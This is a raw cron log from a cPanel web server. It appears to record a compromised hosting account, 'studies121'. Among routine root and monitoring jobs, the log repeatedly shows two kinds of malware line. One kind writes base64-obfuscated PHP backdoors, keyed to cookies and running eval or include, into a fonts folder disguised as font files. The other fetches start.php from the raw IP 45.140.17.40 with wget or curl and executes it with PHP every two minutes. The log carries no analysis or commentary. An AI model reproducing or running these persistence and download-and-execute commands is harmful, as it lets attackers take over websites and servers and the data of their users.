Aug 31 06:37:01 ip-184-168-122-23 CROND[15090]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:37:01 ip-184-168-122-23 CROND[15092]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:37:01 ip-184-168-122-23 CROND[15093]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 06:37:01 ip-184-168-122-23 CROND[15091]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 06:38:01 ip-184-168-122-23 CROND[15195]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 06:38:01 ip-184-168-122-23 CROND[15194]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:38:01 ip-184-168-122-23 CROND[15197]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 06:38:01 ip-184-168-122-23 CROND[15200]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:38:01 ip-184-168-122-23 CROND[15201]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 06:39:01 ip-184-168-122-23 CROND[15423]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 06:39:01 ip-184-168-122-23 CROND[15425]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 06:39:01 ip-184-168-122-23 CROND[15426]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:39:01 ip-184-168-122-23 CROND[15427]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 06:39:01 ip-184-168-122-23 CROND[15428]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:40:01 ip-184-168-122-23 CROND[15544]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 06:40:01 ip-184-168-122-23 CROND[15545]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:40:01 ip-184-168-122-23 CROND[15546]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 06:40:01 ip-184-168-122-23 CROND[15550]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 06:40:01 ip-184-168-122-23 CROND[15551]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 06:40:01 ip-184-168-122-23 CROND[15552]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 06:40:01 ip-184-168-122-23 CROND[15559]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:40:01 ip-184-168-122-23 CROND[15558]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 06:41:01 ip-184-168-122-23 CROND[15687]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 06:41:01 ip-184-168-122-23 CROND[15689]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:41:01 ip-184-168-122-23 CROND[15690]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 06:41:01 ip-184-168-122-23 CROND[15691]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:42:01 ip-184-168-122-23 CROND[15830]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 06:42:01 ip-184-168-122-23 CROND[15832]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:42:01 ip-184-168-122-23 CROND[15833]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 06:42:01 ip-184-168-122-23 CROND[15835]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 06:42:01 ip-184-168-122-23 CROND[15834]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:43:01 ip-184-168-122-23 CROND[15967]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 06:43:01 ip-184-168-122-23 CROND[15968]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:43:01 ip-184-168-122-23 CROND[15971]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 06:43:01 ip-184-168-122-23 CROND[15972]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:44:02 ip-184-168-122-23 CROND[16093]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 06:44:02 ip-184-168-122-23 CROND[16092]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 06:44:02 ip-184-168-122-23 CROND[16095]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:44:02 ip-184-168-122-23 CROND[16094]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 06:44:02 ip-184-168-122-23 CROND[16099]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:45:01 ip-184-168-122-23 CROND[16307]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 06:45:01 ip-184-168-122-23 CROND[16308]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 06:45:01 ip-184-168-122-23 CROND[16309]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:45:01 ip-184-168-122-23 CROND[16312]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:45:01 ip-184-168-122-23 CROND[16313]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 06:45:01 ip-184-168-122-23 CROND[16311]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 06:46:01 ip-184-168-122-23 CROND[16447]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 06:46:01 ip-184-168-122-23 CROND[16450]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:46:01 ip-184-168-122-23 CROND[16455]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 06:46:01 ip-184-168-122-23 CROND[16456]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:46:01 ip-184-168-122-23 CROND[16454]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 31 06:46:01 ip-184-168-122-23 CROND[16458]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 06:46:01 ip-184-168-122-23 CROND[16459]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 06:47:01 ip-184-168-122-23 CROND[16587]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 06:47:01 ip-184-168-122-23 CROND[16588]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:47:01 ip-184-168-122-23 CROND[16589]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:47:01 ip-184-168-122-23 CROND[16590]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 06:48:01 ip-184-168-122-23 CROND[16704]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:48:01 ip-184-168-122-23 CROND[16706]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 06:48:01 ip-184-168-122-23 CROND[16707]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 06:48:01 ip-184-168-122-23 CROND[16708]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:48:01 ip-184-168-122-23 CROND[16709]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 06:49:01 ip-184-168-122-23 CROND[16850]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
